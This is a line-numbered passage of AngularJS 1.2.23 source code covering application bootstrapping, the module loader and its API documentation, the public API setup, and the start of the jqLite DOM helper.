1391 * <div ng-controller="BrokenTable">
1392 * <table>
1393 * <tr>
1394 * <th ng-repeat="heading in headings">{{heading}}</th>
1395 * </tr>
1396 * <tr ng-repeat="filling in fillings">
1397 * <td ng-repeat="fill in filling">{{fill}}</td>
1398 * </tr>
1399 * </table>
1400 * </div>
1401 * </file>
1402 * <file name="controller.js">
1403 * var app = angular.module('multi-bootstrap', [])
1404 *
1405 * .controller('BrokenTable', function($scope) {
1406 * $scope.headings = ['One', 'Two', 'Three'];
1407 * $scope.fillings = [[1, 2, 3], ['A', 'B', 'C'], [7, 8, 9]];
1408 * });
1409 * </file>
1410 * <file name="protractor.js" type="protractor">
1411 * it('should only insert one table cell for each item in $scope.fillings', function() {
1412 * expect(element.all(by.css('td')).count())
1413 * .toBe(9);
1414 * });
1415 * </file>
1416 * </example>
1417 *
1418 * @param {DOMElement} element DOM element which is the root of angular application.
1419 * @param {Array<String|Function|Array>=} modules an array of modules to load into the application.
1420 * Each item in the array should be the name of a predefined module or a (DI annotated)
1421 * function that will be invoked by the injector as a run block.
1422 * See: {@link angular.module modules}
1423 * @returns {auto.$injector} Returns the newly created injector for this app.
1424 */
1425 function bootstrap(element, modules) {
1426 var doBootstrap = function() {
1427 element = jqLite(element);
1428
1429 if (element.injector()) {
1430 var tag = (element[0] === document) ? 'document' : startingTag(element);
1431 //Encode angle brackets to prevent input from being sanitized to empty string #8683
1432 throw ngMinErr(
1433 'btstrpd',
1434 "App Already Bootstrapped with this Element '{0}'",
1435 tag.replace(/</,'&lt;').replace(/>/,'&gt;'));
1436 }
1437
1438 modules = modules || [];
1439 modules.unshift(['$provide', function($provide) {
1440 $provide.value('$rootElement', element);
1441 }]);
1442 modules.unshift('ng');
1443 var injector = createInjector(modules);
1444 injector.invoke(['$rootScope', '$rootElement', '$compile', '$injector', '$animate',
1445 function(scope, element, compile, injector, animate) {
1446 scope.$apply(function() {
1447 element.data('$injector', injector);
1448 compile(element)(scope);
1449 });
1450 }]
1451 );
1452 return injector;
1453 };
1454
1455 var NG_DEFER_BOOTSTRAP = /^NG_DEFER_BOOTSTRAP!/;
1456
1457 if (window && !NG_DEFER_BOOTSTRAP.test(window.name)) {
1458 return doBootstrap();
1459 }
1460
1461 window.name = window.name.replace(NG_DEFER_BOOTSTRAP, '');
1462 angular.resumeBootstrap = function(extraModules) {
1463 forEach(extraModules, function(module) {
1464 modules.push(module);
1465 });
1466 doBootstrap();
1467 };
1468 }
1469
1470 var SNAKE_CASE_REGEXP = /[A-Z]/g;
1471 function snake_case(name, separator) {
1472 separator = separator || '_';
1473 return name.replace(SNAKE_CASE_REGEXP, function(letter, pos) {
1474 return (pos ? separator : '') + letter.toLowerCase();
1475 });
1476 }
1477
1478 function bindJQuery() {
1479 // bind to jQuery if present;
1480 jQuery = window.jQuery;
1481 // Use jQuery if it exists with proper functionality, otherwise default to us.
1482 // Angular 1.2+ requires jQuery 1.7.1+ for on()/off() support.
1483 if (jQuery && jQuery.fn.on) {
1484 jqLite = jQuery;
1485 extend(jQuery.fn, {
1486 scope: JQLitePrototype.scope,
1487 isolateScope: JQLitePrototype.isolateScope,
1488 controller: JQLitePrototype.controller,
1489 injector: JQLitePrototype.injector,
1490 inheritedData: JQLitePrototype.inheritedData
1491 });
1492 // Method signature:
1493 // jqLitePatchJQueryRemove(name, dispatchThis, filterElems, getterIfNoArguments)
1494 jqLitePatchJQueryRemove('remove', true, true, false);
1495 jqLitePatchJQueryRemove('empty', false, false, false);
1496 jqLitePatchJQueryRemove('html', false, false, true);
1497 } else {
1498 jqLite = JQLite;
1499 }
1500 angular.element = jqLite;
1501 }
1502
1503 /**
1504 * throw error if the argument is falsy.
1505 */
1506 function assertArg(arg, name, reason) {
1507 if (!arg) {
1508 throw ngMinErr('areq', "Argument '{0}' is {1}", (name || '?'), (reason || "required"));
1509 }
1510 return arg;
1511 }
1512
1513 function assertArgFn(arg, name, acceptArrayAnnotation) {
1514 if (acceptArrayAnnotation && isArray(arg)) {
1515 arg = arg[arg.length - 1];
1516 }
1517
1518 assertArg(isFunction(arg), name, 'not a function, got ' +
1519 (arg && typeof arg === 'object' ? arg.constructor.name || 'Object' : typeof arg));
1520 return arg;
1521 }
1522
1523 /**
1524 * throw error if the name given is hasOwnProperty
1525 * @param {String} name the name to test
1526 * @param {String} context the context in which the name is used, such as module or directive
1527 */
1528 function assertNotHasOwnProperty(name, context) {
1529 if (name === 'hasOwnProperty') {
1530 throw ngMinErr('badname', "hasOwnProperty is not a valid {0} name", context);
1531 }
1532 }
1533
1534 /**
1535 * Return the value accessible from the object by path. Any undefined traversals are ignored
1536 * @param {Object} obj starting object
1537 * @param {String} path path to traverse
1538 * @param {boolean} [bindFnToScope=true]
1539 * @returns {Object} value as accessible by path
1540 */
1541 //TODO(misko): this function needs to be removed
1542 function getter(obj, path, bindFnToScope) {
1543 if (!path) return obj;
1544 var keys = path.split('.');
1545 var key;
1546 var lastInstance = obj;
1547 var len = keys.length;
1548
1549 for (var i = 0; i < len; i++) {
1550 key = keys[i];
1551 if (obj) {
1552 obj = (lastInstance = obj)[key];
1553 }
1554 }
1555 if (!bindFnToScope && isFunction(obj)) {
1556 return bind(lastInstance, obj);
1557 }
1558 return obj;
1559 }
1560
1561 /**
1562 * Return the DOM siblings between the first and last node in the given array.
1563 * @param {Array} array like object
1564 * @returns {DOMElement} object containing the elements
1565 */
1566 function getBlockElements(nodes) {
1567 var startNode = nodes[0],
1568 endNode = nodes[nodes.length - 1];
1569 if (startNode === endNode) {
1570 return jqLite(startNode);
1571 }
1572
1573 var element = startNode;
1574 var elements = [element];
1575
1576 do {
1577 element = element.nextSibling;
1578 if (!element) break;
1579 elements.push(element);
1580 } while (element !== endNode);
1581
1582 return jqLite(elements);
1583 }
1584
1585 /**
1586 * @ngdoc type
1587 * @name angular.Module
1588 * @module ng
1589 * @description
1590 *
1591 * Interface for configuring angular {@link angular.module modules}.
1592 */
1593
1594 function setupModuleLoader(window) {
1595
1596 var $injectorMinErr = minErr('$injector');
1597 var ngMinErr = minErr('ng');
1598
1599 function ensure(obj, name, factory) {
1600 return obj[name] || (obj[name] = factory());
1601 }
1602
1603 var angular = ensure(window, 'angular', Object);
1604
1605 // We need to expose `angular.$$minErr` to modules such as `ngResource` that reference it during bootstrap
1606 angular.$$minErr = angular.$$minErr || minErr;
1607
1608 return ensure(angular, 'module', function() {
1609 /** @type {Object.<string, angular.Module>} */
1610 var modules = {};
1611
1612 /**
1613 * @ngdoc function
1614 * @name angular.module
1615 * @module ng
1616 * @description
1617 *
1618 * The `angular.module` is a global place for creating, registering and retrieving Angular
1619 * modules.
1620 * All modules (angular core or 3rd party) that should be available to an application must be
1621 * registered using this mechanism.
1622 *
1623 * When passed two or more arguments, a new module is created. If passed only one argument, an
1624 * existing module (the name passed as the first argument to `module`) is retrieved.
1625 *
1626 *
1627 * # Module
1628 *
1629 * A module is a collection of services, directives, controllers, filters, and configuration information.
1630 * `angular.module` is used to configure the {@link auto.$injector $injector}.
1631 *
1632 * ```js
1633 * // Create a new module
1634 * var myModule = angular.module('myModule', []);
1635 *
1636 * // register a new service
1637 * myModule.value('appName', 'MyCoolApp');
1638 *
1639 * // configure existing services inside initialization blocks.
1640 * myModule.config(['$locationProvider', function($locationProvider) {
1641 * // Configure existing providers
1642 * $locationProvider.hashPrefix('!');
1643 * }]);
1644 * ```
1645 *
1646 * Then you can create an injector and load your modules like this:
1647 *
1648 * ```js
1649 * var injector = angular.injector(['ng', 'myModule'])
1650 * ```
1651 *
1652 * However it's more likely that you'll just use
1653 * {@link ng.directive:ngApp ngApp} or
1654 * {@link angular.bootstrap} to simplify this process for you.
1655 *
1656 * @param {!string} name The name of the module to create or retrieve.
1657 * @param {!Array.<string>=} requires If specified then new module is being created. If
1658 * unspecified then the module is being retrieved for further configuration.
1659 * @param {Function=} configFn Optional configuration function for the module. Same as
1660 * {@link angular.Module#config Module#config()}.
1661 * @returns {module} new module with the {@link angular.Module} api.
1662 */
1663 return function module(name, requires, configFn) {
1664 var assertNotHasOwnProperty = function(name, context) {
1665 if (name === 'hasOwnProperty') {
1666 throw ngMinErr('badname', 'hasOwnProperty is not a valid {0} name', context);
1667 }
1668 };
1669
1670 assertNotHasOwnProperty(name, 'module');
1671 if (requires && modules.hasOwnProperty(name)) {
1672 modules[name] = null;
1673 }
1674 return ensure(modules, name, function() {
1675 if (!requires) {
1676 throw $injectorMinErr('nomod', "Module '{0}' is not available! You either misspelled " +
1677 "the module name or forgot to load it. If registering a module ensure that you " +
1678 "specify the dependencies as the second argument.", name);
1679 }
1680
1681 /** @type {!Array.<Array.<*>>} */
1682 var invokeQueue = [];
1683
1684 /** @type {!Array.<Function>} */
1685 var runBlocks = [];
1686
1687 var config = invokeLater('$injector', 'invoke');
1688
1689 /** @type {angular.Module} */
1690 var moduleInstance = {
1691 // Private state
1692 _invokeQueue: invokeQueue,
1693 _runBlocks: runBlocks,
1694
1695 /**
1696 * @ngdoc property
1697 * @name angular.Module#requires
1698 * @module ng
1699 *
1700 * @description
1701 * Holds the list of modules which the injector will load before the current module is
1702 * loaded.
1703 */
1704 requires: requires,
1705
1706 /**
1707 * @ngdoc property
1708 * @name angular.Module#name
1709 * @module ng
1710 *
1711 * @description
1712 * Name of the module.
1713 */
1714 name: name,
1715
1716
1717 /**
1718 * @ngdoc method
1719 * @name angular.Module#provider
1720 * @module ng
1721 * @param {string} name service name
1722 * @param {Function} providerType Construction function for creating new instance of the
1723 * service.
1724 * @description
1725 * See {@link auto.$provide#provider $provide.provider()}.
1726 */
1727 provider: invokeLater('$provide', 'provider'),
1728
1729 /**
1730 * @ngdoc method
1731 * @name angular.Module#factory
1732 * @module ng
1733 * @param {string} name service name
1734 * @param {Function} providerFunction Function for creating new instance of the service.
1735 * @description
1736 * See {@link auto.$provide#factory $provide.factory()}.
1737 */
1738 factory: invokeLater('$provide', 'factory'),
1739
1740 /**
1741 * @ngdoc method
1742 * @name angular.Module#service
1743 * @module ng
1744 * @param {string} name service name
1745 * @param {Function} constructor A constructor function that will be instantiated.
1746 * @description
1747 * See {@link auto.$provide#service $provide.service()}.
1748 */
1749 service: invokeLater('$provide', 'service'),
1750
1751 /**
1752 * @ngdoc method
1753 * @name angular.Module#value
1754 * @module ng
1755 * @param {string} name service name
1756 * @param {*} object Service instance object.
1757 * @description
1758 * See {@link auto.$provide#value $provide.value()}.
1759 */
1760 value: invokeLater('$provide', 'value'),
1761
1762 /**
1763 * @ngdoc method
1764 * @name angular.Module#constant
1765 * @module ng
1766 * @param {string} name constant name
1767 * @param {*} object Constant value.
1768 * @description
1769 * Because the constant are fixed, they get applied before other provide methods.
1770 * See {@link auto.$provide#constant $provide.constant()}.
1771 */
1772 constant: invokeLater('$provide', 'constant', 'unshift'),
1773
1774 /**
1775 * @ngdoc method
1776 * @name angular.Module#animation
1777 * @module ng
1778 * @param {string} name animation name
1779 * @param {Function} animationFactory Factory function for creating new instance of an
1780 * animation.
1781 * @description
1782 *
1783 * **NOTE**: animations take effect only if the **ngAnimate** module is loaded.
1784 *
1785 *
1786 * Defines an animation hook that can be later used with
1787 * {@link ngAnimate.$animate $animate} service and directives that use this service.
1788 *
1789 * ```js
1790 * module.animation('.animation-name', function($inject1, $inject2) {
1791 * return {
1792 * eventName : function(element, done) {
1793 * //code to run the animation
1794 * //once complete, then run done()
1795 * return function cancellationFunction(element) {
1796 * //code to cancel the animation
1797 * }
1798 * }
1799 * }
1800 * })
1801 * ```
1802 *
1803 * See {@link ngAnimate.$animateProvider#register $animateProvider.register()} and
1804 * {@link ngAnimate ngAnimate module} for more information.
1805 */
1806 animation: invokeLater('$animateProvider', 'register'),
1807
1808 /**
1809 * @ngdoc method
1810 * @name angular.Module#filter
1811 * @module ng
1812 * @param {string} name Filter name.
1813 * @param {Function} filterFactory Factory function for creating new instance of filter.
1814 * @description
1815 * See {@link ng.$filterProvider#register $filterProvider.register()}.
1816 */
1817 filter: invokeLater('$filterProvider', 'register'),
1818
1819 /**
1820 * @ngdoc method
1821 * @name angular.Module#controller
1822 * @module ng
1823 * @param {string|Object} name Controller name, or an object map of controllers where the
1824 * keys are the names and the values are the constructors.
1825 * @param {Function} constructor Controller constructor function.
1826 * @description
1827 * See {@link ng.$controllerProvider#register $controllerProvider.register()}.
1828 */
1829 controller: invokeLater('$controllerProvider', 'register'),
1830
1831 /**
1832 * @ngdoc method
1833 * @name angular.Module#directive
1834 * @module ng
1835 * @param {string|Object} name Directive name, or an object map of directives where the
1836 * keys are the names and the values are the factories.
1837 * @param {Function} directiveFactory Factory function for creating new instance of
1838 * directives.
1839 * @description
1840 * See {@link ng.$compileProvider#directive $compileProvider.directive()}.
1841 */
1842 directive: invokeLater('$compileProvider', 'directive'),
1843
1844 /**
1845 * @ngdoc method
1846 * @name angular.Module#config
1847 * @module ng
1848 * @param {Function} configFn Execute this function on module load. Useful for service
1849 * configuration.
1850 * @description
1851 * Use this method to register work which needs to be performed on module loading.
1852 * For more about how to configure services, see
1853 * {@link providers#providers_provider-recipe Provider Recipe}.
1854 */
1855 config: config,
1856
1857 /**
1858 * @ngdoc method
1859 * @name angular.Module#run
1860 * @module ng
1861 * @param {Function} initializationFn Execute this function after injector creation.
1862 * Useful for application initialization.
1863 * @description
1864 * Use this method to register work which should be performed when the injector is done
1865 * loading all modules.
1866 */
1867 run: function(block) {
1868 runBlocks.push(block);
1869 return this;
1870 }
1871 };
1872
1873 if (configFn) {
1874 config(configFn);
1875 }
1876
1877 return moduleInstance;
1878
1879 /**
1880 * @param {string} provider
1881 * @param {string} method
1882 * @param {String=} insertMethod
1883 * @returns {angular.Module}
1884 */
1885 function invokeLater(provider, method, insertMethod) {
1886 return function() {
1887 invokeQueue[insertMethod || 'push']([provider, method, arguments]);
1888 return moduleInstance;
1889 };
1890 }
1891 });
1892 };
1893 });
1894
1895 }
1896
1897 /* global angularModule: true,
1898 version: true,
1899
1900 $LocaleProvider,
1901 $CompileProvider,
1902
1903 htmlAnchorDirective,
1904 inputDirective,
1905 inputDirective,
1906 formDirective,
1907 scriptDirective,
1908 selectDirective,
1909 styleDirective,
1910 optionDirective,
1911 ngBindDirective,
1912 ngBindHtmlDirective,
1913 ngBindTemplateDirective,
1914 ngClassDirective,
1915 ngClassEvenDirective,
1916 ngClassOddDirective,
1917 ngCspDirective,
1918 ngCloakDirective,
1919 ngControllerDirective,
1920 ngFormDirective,
1921 ngHideDirective,
1922 ngIfDirective,
1923 ngIncludeDirective,
1924 ngIncludeFillContentDirective,
1925 ngInitDirective,
1926 ngNonBindableDirective,
1927 ngPluralizeDirective,
1928 ngRepeatDirective,
1929 ngShowDirective,
1930 ngStyleDirective,
1931 ngSwitchDirective,
1932 ngSwitchWhenDirective,
1933 ngSwitchDefaultDirective,
1934 ngOptionsDirective,
1935 ngTranscludeDirective,
1936 ngModelDirective,
1937 ngListDirective,
1938 ngChangeDirective,
1939 requiredDirective,
1940 requiredDirective,
1941 ngValueDirective,
1942 ngAttributeAliasDirectives,
1943 ngEventDirectives,
1944
1945 $AnchorScrollProvider,
1946 $AnimateProvider,
1947 $BrowserProvider,
1948 $CacheFactoryProvider,
1949 $ControllerProvider,
1950 $DocumentProvider,
1951 $ExceptionHandlerProvider,
1952 $FilterProvider,
1953 $InterpolateProvider,
1954 $IntervalProvider,
1955 $HttpProvider,
1956 $HttpBackendProvider,
1957 $LocationProvider,
1958 $LogProvider,
1959 $ParseProvider,
1960 $RootScopeProvider,
1961 $QProvider,
1962 $$SanitizeUriProvider,
1963 $SceProvider,
1964 $SceDelegateProvider,
1965 $SnifferProvider,
1966 $TemplateCacheProvider,
1967 $TimeoutProvider,
1968 $$RAFProvider,
1969 $$AsyncCallbackProvider,
1970 $WindowProvider
1971 */
1972
1973
1974 /**
1975 * @ngdoc object
1976 * @name angular.version
1977 * @module ng
1978 * @description
1979 * An object that contains information about the current AngularJS version. This object has the
1980 * following properties:
1981 *
1982 * - `full` – `{string}` – Full version string, such as "0.9.18".
1983 * - `major` – `{number}` – Major version number, such as "0".
1984 * - `minor` – `{number}` – Minor version number, such as "9".
1985 * - `dot` – `{number}` – Dot version number, such as "18".
1986 * - `codeName` – `{string}` – Code name of the release, such as "jiggling-armfat".
1987 */
1988 var version = {
1989 full: '1.2.23', // all of these placeholder strings will be replaced by grunt's
1990 major: 1, // package task
1991 minor: 2,
1992 dot: 23,
1993 codeName: 'superficial-malady'
1994 };
1995
1996
1997 function publishExternalAPI(angular){
1998 extend(angular, {
1999 'bootstrap': bootstrap,
2000 'copy': copy,
2001 'extend': extend,
2002 'equals': equals,
2003 'element': jqLite,
2004 'forEach': forEach,
2005 'injector': createInjector,
2006 'noop': noop,
2007 'bind': bind,
2008 'toJson': toJson,
2009 'fromJson': fromJson,
2010 'identity': identity,
2011 'isUndefined': isUndefined,
2012 'isDefined': isDefined,
2013 'isString': isString,
2014 'isFunction': isFunction,
2015 'isObject': isObject,
2016 'isNumber': isNumber,
2017 'isElement': isElement,
2018 'isArray': isArray,
2019 'version': version,
2020 'isDate': isDate,
2021 'lowercase': lowercase,
2022 'uppercase': uppercase,
2023 'callbacks': {counter: 0},
2024 '$$minErr': minErr,
2025 '$$csp': csp
2026 });
2027
2028 angularModule = setupModuleLoader(window);
2029 try {
2030 angularModule('ngLocale');
2031 } catch (e) {
2032 angularModule('ngLocale', []).provider('$locale', $LocaleProvider);
2033 }
2034
2035 angularModule('ng', ['ngLocale'], ['$provide',
2036 function ngModule($provide) {
2037 // $$sanitizeUriProvider needs to be before $compileProvider as it is used by it.
2038 $provide.provider({
2039 $$sanitizeUri: $$SanitizeUriProvider
2040 });
2041 $provide.provider('$compile', $CompileProvider).
2042 directive({
2043 a: htmlAnchorDirective,
2044 input: inputDirective,
2045 textarea: inputDirective,
2046 form: formDirective,
2047 script: scriptDirective,
2048 select: selectDirective,
2049 style: styleDirective,
2050 option: optionDirective,
2051 ngBind: ngBindDirective,
2052 ngBindHtml: ngBindHtmlDirective,
2053 ngBindTemplate: ngBindTemplateDirective,
2054 ngClass: ngClassDirective,
2055 ngClassEven: ngClassEvenDirective,
2056 ngClassOdd: ngClassOddDirective,
2057 ngCloak: ngCloakDirective,
2058 ngController: ngControllerDirective,
2059 ngForm: ngFormDirective,
2060 ngHide: ngHideDirective,
2061 ngIf: ngIfDirective,
2062 ngInclude: ngIncludeDirective,
2063 ngInit: ngInitDirective,
2064 ngNonBindable: ngNonBindableDirective,
2065 ngPluralize: ngPluralizeDirective,
2066 ngRepeat: ngRepeatDirective,
2067 ngShow: ngShowDirective,
2068 ngStyle: ngStyleDirective,
2069 ngSwitch: ngSwitchDirective,
2070 ngSwitchWhen: ngSwitchWhenDirective,
2071 ngSwitchDefault: ngSwitchDefaultDirective,
2072 ngOptions: ngOptionsDirective,
2073 ngTransclude: ngTranscludeDirective,
2074 ngModel: ngModelDirective,
2075 ngList: ngListDirective,
2076 ngChange: ngChangeDirective,
2077 required: requiredDirective,
2078 ngRequired: requiredDirective,
2079 ngValue: ngValueDirective
2080 }).
2081 directive({
2082 ngInclude: ngIncludeFillContentDirective
2083 }).
2084 directive(ngAttributeAliasDirectives).
2085 directive(ngEventDirectives);
2086 $provide.provider({
2087 $anchorScroll: $AnchorScrollProvider,
2088 $animate: $AnimateProvider,
2089 $browser: $BrowserProvider,
2090 $cacheFactory: $CacheFactoryProvider,
2091 $controller: $ControllerProvider,
2092 $document: $DocumentProvider,
2093 $exceptionHandler: $ExceptionHandlerProvider,
2094 $filter: $FilterProvider,
2095 $interpolate: $InterpolateProvider,
2096 $interval: $IntervalProvider,
2097 $http: $HttpProvider,
2098 $httpBackend: $HttpBackendProvider,
2099 $location: $LocationProvider,
2100 $log: $LogProvider,
2101 $parse: $ParseProvider,
2102 $rootScope: $RootScopeProvider,
2103 $q: $QProvider,
2104 $sce: $SceProvider,
2105 $sceDelegate: $SceDelegateProvider,
2106 $sniffer: $SnifferProvider,
2107 $templateCache: $TemplateCacheProvider,
2108 $timeout: $TimeoutProvider,
2109 $window: $WindowProvider,
2110 $$rAF: $$RAFProvider,
2111 $$asyncCallback : $$AsyncCallbackProvider
2112 });
2113 }
2114 ]);
2115 }
2116
2117 /* global JQLitePrototype: true,
2118 addEventListenerFn: true,
2119 removeEventListenerFn: true,
2120 BOOLEAN_ATTR: true
2121 */
2122
2123 //////////////////////////////////
2124 //JQLite
2125 //////////////////////////////////
2126
2127 /**
2128 * @ngdoc function
2129 * @name angular.element
2130 * @module ng
2131 * @kind function
2132 *
2133 * @description
2134 * Wraps a raw DOM element or HTML string as a [jQuery](http://jquery.com) element.
2135 *
2136 * If jQuery is available, `angular.element` is an alias for the
2137 * [jQuery](http://api.jquery.com/jQuery/) function. If jQuery is not available, `angular.element`
2138 * delegates to Angular's built-in subset of jQuery, called "jQuery lite" or "jqLite."
2139 *
2140 * <div class="alert alert-success">jqLite is a tiny, API-compatible subset of jQuery that allows
2141 * Angular to manipulate the DOM in a cross-browser compatible way. **jqLite** implements only the most
2142 * commonly needed functionality with the goal of having a very small footprint.</div>
2143 *
2144 * To use jQuery, simply load it before `DOMContentLoaded` event fired.
2145 *
2146 * <div class="alert">**Note:** all element references in Angular are always wrapped with jQuery or
2147 * jqLite; they are never raw DOM references.</div>
2148 *
2149 * ## Angular's jqLite
2150 * jqLite provides only the following jQuery methods:
2151 *
2152 * - [`addClass()`](http://api.jquery.com/addClass/)
2153 * - [`after()`](http://api.jquery.com/after/)
2154 * - [`append()`](http://api.jquery.com/append/)
2155 * - [`attr()`](http://api.jquery.com/attr/)
2156 * - [`bind()`](http://api.jquery.com/bind/) - Does not support namespaces, selectors or eventData
2157 * - [`children()`](http://api.jquery.com/children/) - Does not support selectors
2158 * - [`clone()`](http://api.jquery.com/clone/)
2159 * - [`contents()`](http://api.jquery.com/contents/)
2160 * - [`css()`](http://api.jquery.com/css/)
2161 * - [`data()`](http://api.jquery.com/data/)
2162 * - [`empty()`](http://api.jquery.com/empty/)
2163 * - [`eq()`](http://api.jquery.com/eq/)
2164 * - [`find()`](http://api.jquery.com/find/) - Limited to lookups by tag name
2165 * - [`hasClass()`](http://api.jquery.com/hasClass/)
2166 * - [`html()`](http://api.jquery.com/html/)
2167 * - [`next()`](http://api.jquery.com/next/) - Does not support selectors
2168 * - [`on()`](http://api.jquery.com/on/) - Does not support namespaces, selectors or eventData
2169 * - [`off()`](http://api.jquery.com/off/) - Does not support namespaces or selectors
2170 * - [`one()`](http://api.jquery.com/one/) - Does not support namespaces or selectors
2171 * - [`parent()`](http://api.jquery.com/parent/) - Does not support selectors
2172 * - [`prepend()`](http://api.jquery.com/prepend/)
2173 * - [`prop()`](http://api.jquery.com/prop/)
2174 * - [`ready()`](http://api.jquery.com/ready/)
2175 * - [`remove()`](http://api.jquery.com/remove/)
2176 * - [`removeAttr()`](http://api.jquery.com/removeAttr/)
2177 * - [`removeClass()`](http://api.jquery.com/removeClass/)
2178 * - [`removeData()`](http://api.jquery.com/removeData/)
2179 * - [`replaceWith()`](http://api.jquery.com/replaceWith/)
2180 * - [`text()`](http://api.jquery.com/text/)
2181 * - [`toggleClass()`](http://api.jquery.com/toggleClass/)
2182 * - [`triggerHandler()`](http://api.jquery.com/triggerHandler/) - Passes a dummy event object to handlers.
2183 * - [`unbind()`](http://api.jquery.com/unbind/) - Does not support namespaces
2184 * - [`val()`](http://api.jquery.com/val/)
2185 * - [`wrap()`](http://api.jquery.com/wrap/)
2186 *
2187 * ## jQuery/jqLite Extras
2188 * Angular also provides the following additional methods and events to both jQuery and jqLite:
2189 *
2190 * ### Events
2191 * - `$destroy` - AngularJS intercepts all jqLite/jQuery's DOM destruction apis and fires this event
2192 * on all DOM nodes being removed. This can be used to clean up any 3rd party bindings to the DOM
2193 * element before it is removed.
2194 *
2195 * ### Methods
2196 * - `controller(name)` - retrieves the controller of the current element or its parent. By default
2197 * retrieves controller associated with the `ngController` directive. If `name` is provided as
2198 * camelCase directive name, then the controller for this directive will be retrieved (e.g.
2199 * `'ngModel'`).
2200 * - `injector()` - retrieves the injector of the current element or its parent.
2201 * - `scope()` - retrieves the {@link ng.$rootScope.Scope scope} of the current
2202 * element or its parent.
2203 * - `isolateScope()` - retrieves an isolate {@link ng.$rootScope.Scope scope} if one is attached directly to the
2204 * current element. This getter should be used only on elements that contain a directive which starts a new isolate
2205 * scope. Calling `scope()` on this element always returns the original non-isolate scope.
2206 * - `inheritedData()` - same as `data()`, but walks up the DOM until a value is found or the top
2207 * parent element is reached.
2208 *
2209 * @param {string|DOMElement} element HTML string or DOMElement to be wrapped into jQuery.
2210 * @returns {Object} jQuery object.
2211 */
2212
2213 JQLite.expando = 'ng339';
2214
2215 var jqCache = JQLite.cache = {},
2216 jqId = 1,
2217 addEventListenerFn = (window.document.addEventListener
2218 ? function(element, type, fn) {element.addEventListener(type, fn, false);}
2219 : function(element, type, fn) {element.attachEvent('on' + type, fn);}),
2220 removeEventListenerFn = (window.document.removeEventListener
2221 ? function(element, type, fn) {element.removeEventListener(type, fn, false); }
2222 : function(element, type, fn) {element.detachEvent('on' + type, fn); });
2223
2224 /*
2225 * !!! This is an undocumented "private" function !!!
2226 */
2227 var jqData = JQLite._data = function(node) {
2228 //jQuery always returns an object on cache miss
2229 return this.cache[node[this.expando]] || {};
2230 };
2231
2232 function jqNextId() { return ++jqId; }
2233
2234
2235 var SPECIAL_CHARS_REGEXP = /([\:\-\_]+(.))/g;
2236 var MOZ_HACK_REGEXP = /^moz([A-Z])/;
2237 var jqLiteMinErr = minErr('jqLite');
2238
2239 /**
2240 * Converts snake_case to camelCase.
2241 * Also there is special case for Moz prefix starting with upper case letter.
2242 * @param name Name to normalize
2243 */
2244 function camelCase(name) {
2245 return name.
2246 replace(SPECIAL_CHARS_REGEXP, function(_, separator, letter, offset) {
2247 return offset ? letter.toUpperCase() : letter;
2248 }).
2249 replace(MOZ_HACK_REGEXP, 'Moz$1');
2250 }
2251
2252 /////////////////////////////////////////////
2253 // jQuery mutation patch
2254 //
2255 // In conjunction with bindJQuery intercepts all jQuery's DOM destruction apis and fires a
2256 // $destroy event on all DOM nodes being removed.
2257 //
2258 /////////////////////////////////////////////
2259
2260 function jqLitePatchJQueryRemove(name, dispatchThis, filterElems, getterIfNoArguments) {
2261 var originalJqFn = jQuery.fn[name];
2262 originalJqFn = originalJqFn.$original || originalJqFn;
2263 removePatch.$original = originalJqFn;
2264 jQuery.fn[name] = removePatch;
2265
2266 function removePatch(param) {
2267 // jshint -W040
2268 var list = filterElems && param ? [this.filter(param)] : [this],
2269 fireEvent = dispatchThis,
2270 set, setIndex, setLength,
2271 element, childIndex, childLength, children;
2272
2273 if (!getterIfNoArguments || param != null) {
2274 while(list.length) {
2275 set = list.shift();
2276 for(setIndex = 0, setLength = set.length; setIndex < setLength; setIndex++) {
2277 element = jqLite(set[setIndex]);
2278 if (fireEvent) {
2279 element.triggerHandler('$destroy');
2280 } else {
2281 fireEvent = !fireEvent;
2282 }
2283 for(childIndex = 0, childLength = (children = element.children()).length;
2284 childIndex < childLength;
2285 childIndex++) {
2286 list.push(jQuery(children[childIndex]));
2287 }
2288 }
2289 }
2290 }
2291 return originalJqFn.apply(this, arguments);
2292 }
2293 }
2294
2295 var SINGLE_TAG_REGEXP = /^<(\w+)\s*\/?>(?:<\/\1>|)$/;
2296 var HTML_REGEXP = /<|&#?\w+;/;
2297 var TAG_NAME_REGEXP = /<([\w:]+)/;
2298 var XHTML_TAG_REGEXP = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi;
2299
2300 var wrapMap = {
2301 'option': [1, '<select multiple="multiple">', '</select>'],
2302
2303 'thead': [1, '<table>', '</table>'],
2304 'col': [2, '<table><colgroup>', '</colgroup></table>'],
2305 'tr': [2, '<table><tbody>', '</tbody></table>'],
2306 'td': [3, '<table><tbody><tr>', '</tr></tbody></table>'],
2307 '_default': [0, "", ""]
2308 };
2309
2310 wrapMap.optgroup = wrapMap.option;
2311 wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
2312 wrapMap.th = wrapMap.td;
2313
2314 function jqLiteIsTextNode(html) {
2315 return !HTML_REGEXP.test(html);
2316 }
2317
2318 function jqLiteBuildFragment(html, context) {
2319 var elem, tmp, tag, wrap,
2320 fragment = context.createDocumentFragment(),
2321 nodes = [], i, j, jj;
2322
2323 if (jqLiteIsTextNode(html)) {
2324 // Convert non-html into a text node
2325 nodes.push(context.createTextNode(html));
2326 } else {
2327 tmp = fragment.appendChild(context.createElement('div'));
2328 // Convert html into DOM nodes
2329 tag = (TAG_NAME_REGEXP.exec(html) || ["", ""])[1].toLowerCase();
2330 wrap = wrapMap[tag] || wrapMap._default;
2331 tmp.innerHTML = '<div>&#160;</div>' +
2332 wrap[1] + html.replace(XHTML_TAG_REGEXP, "<$1></$2>") + wrap[2];
2333 tmp.removeChild(tmp.firstChild);
2334
2335 // Descend through wrappers to the right content
2336 i = wrap[0];
2337 while (i--) {
2338 tmp = tmp.lastChild;
2339 }
2340
2341 for (j=0, jj=tmp.childNodes.length; j<jj; ++j) nodes.push(tmp.childNodes[j]);
2342
2343 tmp = fragment.firstChild;
2344 tmp.textContent = "";
2345 }
2346
2347 // Remove wrapper from fragment
2348 fragment.textContent = "";
2349 fragment.innerHTML = ""; // Clear inner HTML
2350 return nodes;
2351 }
2352
2353 function jqLiteParseHTML(html, context) {
2354 context = context || document;
2355 var parsed;
2356
2357 if ((parsed = SINGLE_TAG_REGEXP.exec(html))) {
2358 return [context.createElement(parsed[1])];
2359 }
2360
2361 return jqLiteBuildFragment(html, context);
2362 }
2363
2364 /////////////////////////////////////////////
2365 function JQLite(element) {
